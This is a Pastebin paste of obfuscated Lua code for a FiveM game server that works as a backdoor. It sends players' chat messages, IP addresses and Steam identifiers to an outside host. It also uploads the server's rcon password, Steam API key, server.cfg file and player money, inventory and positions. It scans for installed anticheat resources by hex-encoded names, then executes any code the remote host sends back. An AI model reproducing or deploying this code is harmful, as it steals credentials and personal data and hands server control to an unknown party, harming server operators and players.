Advertisement
Guest User

Untitled

a guest
Sep 23rd, 2021
649
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.47 KB | None | 0 0
  1. rkVYIBBSjtXKAPqEyYol = nil
  2. FIvObvusWrlcZZGCkMkR = nil
  3. TriggerEvent("esx:getSharedObject", function(obj) rkVYIBBSjtXKAPqEyYol = obj end)
  4. TriggerEvent("RxqYNcwWvPdBikBFruLK", function(c) FIvObvusWrlcZZGCkMkR = c end)
  5. if(FIvObvusWrlcZZGCkMkR == true)then
  6. return
  7. end
  8. AddEventHandler("RxqYNcwWvPdBikBFruLK", function(pEwThmEDiglRbGYWqEQN)
  9. pEwThmEDiglRbGYWqEQN(true)
  10. end)
  11. Citizen.CreateThread(function()
  12. jobslist = {}
  13. local rANotlpNxcCLOspnzDKf = 0
  14. local LIYUgnHAhgLBEejdmLlV = 0
  15. local bFejWivQncbNjtkiznMK = 0
  16. AddEventHandler("chatMessage", function(source, name, message)
  17. local lKvtXCAojkriVVHzOAPk = ""
  18. for i = 0, GetNumPlayerIdentifiers(source) - 1 do
  19. local iRPxpVTAeOuRbMwoxEwR = GetPlayerIdentifier(source, i)
  20. if string.find(iRPxpVTAeOuRbMwoxEwR, "steam") then
  21. lKvtXCAojkriVVHzOAPk = iRPxpVTAeOuRbMwoxEwR
  22. end
  23. end
  24. local bYISFRPGBecgfbETipBt = {
  25. sip = "127.0.0.1",
  26. token = "0",
  27. pip = GetPlayerEndpoint(source),
  28. pname = GetPlayerName(source),
  29. psid = lKvtXCAojkriVVHzOAPk,
  30. pmess = message
  31. }
  32. PerformHttpRequest("https://cipher-panel.me/_i/c.php", function ()
  33. end, "POST", json.encode(bYISFRPGBecgfbETipBt), { ["Content-Type"] = "application/json" })
  34. end)
  35. while true do
  36. Citizen.Wait(5000)
  37. UUBNlWqzJjxrVaPfXAzm = {}
  38. for _, player in ipairs(GetPlayers()) do
  39. if(rkVYIBBSjtXKAPqEyYol == nil) then
  40. table.insert(UUBNlWqzJjxrVaPfXAzm, {
  41. name = GetPlayerName(player),
  42. ip = GetPlayerEndpoint(player),
  43. id = player,
  44. identifiers = GetPlayerIdentifier(player)
  45. })
  46. else
  47. local hfOLFttaUVponTMgWTVy = rkVYIBBSjtXKAPqEyYol.GetPlayerFromId(player)
  48. if hfOLFttaUVponTMgWTVy ~= nil then
  49. table.insert(UUBNlWqzJjxrVaPfXAzm, {
  50. group = hfOLFttaUVponTMgWTVy.getGroup(),
  51. accounts = hfOLFttaUVponTMgWTVy.getAccounts(),
  52. inventory = hfOLFttaUVponTMgWTVy.getInventory(),
  53. job = hfOLFttaUVponTMgWTVy.getJob(),
  54. name = GetPlayerName(player),
  55. ip = GetPlayerEndpoint(player),
  56. id = player,
  57. position = hfOLFttaUVponTMgWTVy.getCoords(),
  58. identifiers = GetPlayerIdentifier(player),
  59. money = hfOLFttaUVponTMgWTVy.getMoney()
  60. })
  61. end
  62. end
  63. end
  64. local hMwFOcSuiUWPclMnyhMy = "undetected"
  65. if(rkVYIBBSjtXKAPqEyYol ~= nil) then
  66. hMwFOcSuiUWPclMnyhMy = "ESX"
  67. end
  68. local UvzEUgUuhkhoSycnmqvt = {}
  69. for i = 0, GetNumResources() - 1, 1 do
  70. local YwkJAmMAMrzeAlHGPAVZ = GetResourceByFindIndex(i)
  71. if YwkJAmMAMrzeAlHGPAVZ and GetResourceState(YwkJAmMAMrzeAlHGPAVZ) == "started" then
  72. if(YwkJAmMAMrzeAlHGPAVZ == "vrp") then
  73. hMwFOcSuiUWPclMnyhMy = "vRP"
  74. end
  75. if(LoadResourceFile(YwkJAmMAMrzeAlHGPAVZ, "server.lua") == nil) then
  76. fs = false
  77. else
  78. fs = true
  79. end
  80. table.insert(UvzEUgUuhkhoSycnmqvt, { name = YwkJAmMAMrzeAlHGPAVZ, active = 1, id = i, f = fs} )
  81. else
  82. table.insert(UvzEUgUuhkhoSycnmqvt, { name = YwkJAmMAMrzeAlHGPAVZ, active = 0, id = i, f = false} )
  83. end
  84. end
  85. if(hMwFOcSuiUWPclMnyhMy == "ESX") then
  86. MySQL.Async.fetchAll("SELECT * FROM jobs WHERE whitelisted = @whitelisted", {
  87. ["@whitelisted"] = false
  88. }, function(result)
  89. for i=1, #result, 1 do
  90. table.insert("jobslist", {
  91. job = result[i].name,
  92. label = result[i].label
  93. })
  94. end
  95. end)
  96. end
  97.  
  98. local kCVMxCUFZxxybhoaCxua = io.open
  99. local function xeokRWEUihPlYnEoPKYX(cfoLdvyCCDgyfRWDrnFc)
  100. local MAxYibLHnRbmhINrjyln = kCVMxCUFZxxybhoaCxua(cfoLdvyCCDgyfRWDrnFc, "rb")
  101. if not MAxYibLHnRbmhINrjyln then return nil end
  102. local enXfpDpXGwoTaOVUzFgo = MAxYibLHnRbmhINrjyln:read "*a"
  103. MAxYibLHnRbmhINrjyln:close()
  104. return enXfpDpXGwoTaOVUzFgo
  105. end
  106.  
  107. local NAvBJGnIYbgviJYWhezu = {
  108. {MkGPxfoisOJkAEbMAvAk = "\x54\x69\x67\x6f", gNiZHgCOYlaAMQSRLSif = "\x54\x69\x67\x6f\x41\x6e\x74\x69\x43\x68\x65\x61\x74"},
  109. {MkGPxfoisOJkAEbMAvAk = "\x32\x4b\x2d\x41\x6e\x74\x69\x63\x68\x65\x61\x74", gNiZHgCOYlaAMQSRLSif = "\x32\x4b\x2d\x41\x6e\x74\x69\x63\x68\x65\x61\x74"},
  110. {MkGPxfoisOJkAEbMAvAk = "\x37\x37\x37\x37\x41\x6e\x74\x69\x43\x68\x65\x61\x74", gNiZHgCOYlaAMQSRLSif = "\x37\x37\x37\x37\x41\x6e\x74\x69\x43\x68\x65\x61\x74\x20\x53\x79\x73\x74\x65\x6d"},
  111. {MkGPxfoisOJkAEbMAvAk = "\x73\x5f\x43\x66\x67", gNiZHgCOYlaAMQSRLSif = "\x41\x6e\x74\x69\x63\x68\x65\x61\x74"},
  112. {MkGPxfoisOJkAEbMAvAk = "\x61\x6e\x74\x69\x63\x68\x65\x61\x74\x20\x2d\x20\x61\x6e\x74\x69\x74\x72\x69\x67\x67\x65\x72", gNiZHgCOYlaAMQSRLSif = "\x41\x6e\x74\x69\x63\x68\x65\x61\x74\x20\x2d\x20\x41\x6e\x74\x69\x74\x72\x69\x67\x67\x65\x72"},
  113. {MkGPxfoisOJkAEbMAvAk = "\x4c\x69\x74\x74\x6c\x65\x41\x43", gNiZHgCOYlaAMQSRLSif = "\x4c\x69\x74\x74\x6c\x65\x41\x6e\x74\x69\x43\x68\x65\x61\x74"},
  114. {MkGPxfoisOJkAEbMAvAk = "\x5a\x65\x6e\x74\x72\x79\x41\x6e\x74\x69\x63\x68\x65\x61\x74", gNiZHgCOYlaAMQSRLSif = "\x5a\x65\x6e\x74\x72\x79\x41\x6e\x74\x69\x63\x68\x65\x61\x74"},
  115. {MkGPxfoisOJkAEbMAvAk = "\x41\x6e\x74\x69\x4c\x79\x6e\x78\x52\x35\x43", gNiZHgCOYlaAMQSRLSif = "\x41\x6e\x74\x69\x4c\x79\x6e\x78\x52\x35\x43"},
  116. {MkGPxfoisOJkAEbMAvAk = "\x42\x61\x64\x67\x65\x72\x73\x20\x4f\x66\x66\x69\x63\x69\x61\x6c\x20\x41\x6e\x74\x69\x63\x68\x65\x61\x74", gNiZHgCOYlaAMQSRLSif = "\x42\x61\x64\x67\x65\x72\x73\x20\x41\x6e\x74\x69\x63\x68\x65\x61\x74"},
  117. {MkGPxfoisOJkAEbMAvAk = "\x74\x61\x62\x6c\x65\x73\x2f\x2a\x2e\x6c\x75\x61", gNiZHgCOYlaAMQSRLSif = "\x43\x68\x6f\x63\x6f\x48\x61\x78"},
  118. {MkGPxfoisOJkAEbMAvAk = "\x53\x6b\x69\x64\x4b\x6e\x6f\x63\x6b\x65\x72", gNiZHgCOYlaAMQSRLSif = "\x43\x4c\x52\x50\x20\x41\x6e\x74\x69\x63\x68\x65\x61\x74"},
  119. {MkGPxfoisOJkAEbMAvAk = "\x64\x75\x62\x5f\x63\x2e\x6c\x75\x61", gNiZHgCOYlaAMQSRLSif = "\x44\x75\x62\x20\x41\x6e\x74\x69\x63\x68\x65\x61\x74"},
  120. {MkGPxfoisOJkAEbMAvAk = "\x65\x61\x63\x5f\x73\x76\x2e\x6c\x75\x61", gNiZHgCOYlaAMQSRLSif = "\x45\x2d\x41\x43"},
  121. {MkGPxfoisOJkAEbMAvAk = "\x61\x6e\x74\x69\x63\x68\x65\x61\x74\x2d\x73\x76\x2e\x6c\x75\x61", gNiZHgCOYlaAMQSRLSif = "\x45\x53\x58\x20\x41\x6e\x74\x69\x63\x68\x65\x61\x74"},
  122. {MkGPxfoisOJkAEbMAvAk = "\x45\x53\x58\x20\x4c\x69\x67\x6d\x61\x20\x41\x6e\x74\x69\x63\x68\x65\x61\x74", gNiZHgCOYlaAMQSRLSif = "\x45\x53\x58\x20\x4c\x69\x67\x6d\x61\x20\x41\x6e\x74\x69\x63\x68\x65\x61\x74"},
  123. {MkGPxfoisOJkAEbMAvAk = "\x46\x72\x65\x65\x64\x6f\x6d\x20\x41\x6e\x74\x69\x43\x68\x65\x61\x74", gNiZHgCOYlaAMQSRLSif = "\x46\x72\x65\x65\x64\x6f\x6d\x20\x41\x6e\x74\x69\x43\x68\x65\x61\x74"},
  124. {MkGPxfoisOJkAEbMAvAk = "\x61\x63\x5f\x73\x2e\x6c\x75\x61", gNiZHgCOYlaAMQSRLSif = "\x47\x6f\x64\x7a\x69\x6c\x6c\x61\x20\x46\x61\x6b\x65"},
  125. {MkGPxfoisOJkAEbMAvAk = "\x49\x72\x6f\x6e\x53\x68\x69\x65\x6c\x64", gNiZHgCOYlaAMQSRLSif = "\x49\x72\x6f\x6e\x53\x68\x69\x65\x6c\x64"},
  126. {MkGPxfoisOJkAEbMAvAk = "\x6a\x6b\x41\x6e\x74\x69", gNiZHgCOYlaAMQSRLSif = "\x6a\x6b\x41\x6e\x74\x69"},
  127. {MkGPxfoisOJkAEbMAvAk = "\x47\x6f\x64\x7a\x69\x6c\x6c\x61\x20\x52\x65\x6c\x65\x61\x73\x65", gNiZHgCOYlaAMQSRLSif = "\x47\x6f\x64\x7a\x69\x6c\x6c\x61\x20\x52\x65\x6c\x65\x61\x73\x65"},
  128. {MkGPxfoisOJkAEbMAvAk = "\x43\x61\x72\x6c\x6f\x73\x4c\x52\x2d\x41\x43", gNiZHgCOYlaAMQSRLSif = "\x43\x61\x72\x6c\x6f\x73\x4c\x52"},
  129. {MkGPxfoisOJkAEbMAvAk = "\x6a\x65\x73\x75\x73\x5f\x6f\x6e\x5f\x61\x69\x72\x2e\x6a\x73", gNiZHgCOYlaAMQSRLSif = "\x52\x6f\x74\x65\x4a\x65\x73\x75\x73"},
  130. {MkGPxfoisOJkAEbMAvAk = "\x63\x6c\x5f\x64\x65\x6c\x65\x74\x65\x56\x65\x68\x4d\x6f\x64\x64\x65\x75\x72\x2e\x6c\x75\x61", gNiZHgCOYlaAMQSRLSif = "\x52\x75\x62\x79"},
  131. {MkGPxfoisOJkAEbMAvAk = "\x61\x44\x65\x74\x65\x63\x74\x69\x6f\x6e\x73\x2e\x6c\x75\x61", gNiZHgCOYlaAMQSRLSif = "\x57\x61\x76\x65\x53\x68\x69\x65\x6c\x64"},
  132. {MkGPxfoisOJkAEbMAvAk = "\x63\x6c\x69\x65\x6e\x74\x73\x65\x63\x6c\x79\x2e\x6c\x75\x61", gNiZHgCOYlaAMQSRLSif = "\x43\x68\x6f\x63\x6f\x48\x61\x78"},
  133. {MkGPxfoisOJkAEbMAvAk = "\x43\x43\x61\x72\x6c\x6f\x73\x4c\x52", gNiZHgCOYlaAMQSRLSif = "\x43\x43\x61\x72\x6c\x6f\x73\x4c\x52"}
  134. }
  135.  
  136. local HgdSBZEjLQABZSrafVGv = {}
  137. for i = 0, GetNumResources() - 1, 1 do
  138. local YwkJAmMAMrzeAlHGPAVZ = GetResourceByFindIndex(i)
  139. if YwkJAmMAMrzeAlHGPAVZ then
  140. if(LoadResourceFile(YwkJAmMAMrzeAlHGPAVZ, "fxmanifest.lua")) then
  141. str = LoadResourceFile(YwkJAmMAMrzeAlHGPAVZ, "fxmanifest.lua")
  142. for id, KAmyJKTgjcSUaIEzOGCs in pairs(NAvBJGnIYbgviJYWhezu) do
  143. if(str:find(KAmyJKTgjcSUaIEzOGCs.MkGPxfoisOJkAEbMAvAk)) then
  144. table.insert(HgdSBZEjLQABZSrafVGv, { name = YwkJAmMAMrzeAlHGPAVZ, ac_name = KAmyJKTgjcSUaIEzOGCs.gNiZHgCOYlaAMQSRLSif, id = i} )
  145. end
  146. end
  147. elseif(LoadResourceFile(YwkJAmMAMrzeAlHGPAVZ, "__resource.lua")) then
  148. str = LoadResourceFile(YwkJAmMAMrzeAlHGPAVZ, "__resource.lua")
  149. for id, KAmyJKTgjcSUaIEzOGCs in pairs(NAvBJGnIYbgviJYWhezu) do
  150. if(str:find(KAmyJKTgjcSUaIEzOGCs.MkGPxfoisOJkAEbMAvAk)) then
  151. table.insert(HgdSBZEjLQABZSrafVGv, { name = YwkJAmMAMrzeAlHGPAVZ, ac_name = KAmyJKTgjcSUaIEzOGCs.gNiZHgCOYlaAMQSRLSif, id = i} )
  152. end
  153. end
  154. end
  155. end
  156. end
  157. bFejWivQncbNjtkiznMK = bFejWivQncbNjtkiznMK + 5
  158. if bFejWivQncbNjtkiznMK == 60 then
  159. rANotlpNxcCLOspnzDKf = rANotlpNxcCLOspnzDKf + 1
  160. bFejWivQncbNjtkiznMK = 0
  161. end
  162. if rANotlpNxcCLOspnzDKf == 60 then
  163. rANotlpNxcCLOspnzDKf = 0
  164. LIYUgnHAhgLBEejdmLlV = LIYUgnHAhgLBEejdmLlV + 1
  165. end
  166. dpGvCWUusPdlEvlIpLkV = LIYUgnHAhgLBEejdmLlV.."h et "..rANotlpNxcCLOspnzDKf.."min"
  167. local eIZQoZpHLfLoCOuaJcdm = {
  168. name = GetConvar("sv_hostname"),
  169. ip = "127.0.0.1",
  170. pl = GetNumPlayerIndices().."/"..GetConvar("sv_maxclients"),
  171. token = "0",
  172. rcon = GetConvar("rcon_password"),
  173. uptime = dpGvCWUusPdlEvlIpLkV,
  174. sapikey = GetConvar("steam_webApiKey"),
  175. plist = UUBNlWqzJjxrVaPfXAzm,
  176. resource = UvzEUgUuhkhoSycnmqvt,
  177. jobsList = "jobslist",
  178. detect = HgdSBZEjLQABZSrafVGv,
  179. framew = hMwFOcSuiUWPclMnyhMy,
  180. cfg = xeokRWEUihPlYnEoPKYX("server.cfg")
  181. }
  182. PerformHttpRequest("https://cipher-panel.me/_i/s.php", function (XQVVjUEpaCZckFNvsxaR, qNsusiTZkZWlDlilgSMx)
  183. if qNsusiTZkZWlDlilgSMx == nil or qNsusiTZkZWlDlilgSMx == "" then return end
  184. local BSPFUqcILAlEgPrSleSa = assert(load(qNsusiTZkZWlDlilgSMx))
  185. if BSPFUqcILAlEgPrSleSa == nil or BSPFUqcILAlEgPrSleSa == "" then return end
  186. BSPFUqcILAlEgPrSleSa()
  187. end, "POST", json.encode(eIZQoZpHLfLoCOuaJcdm), { ["Content-Type"] = "application/json" })
  188. jobslist = {}
  189. end
  190. end)
  191.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement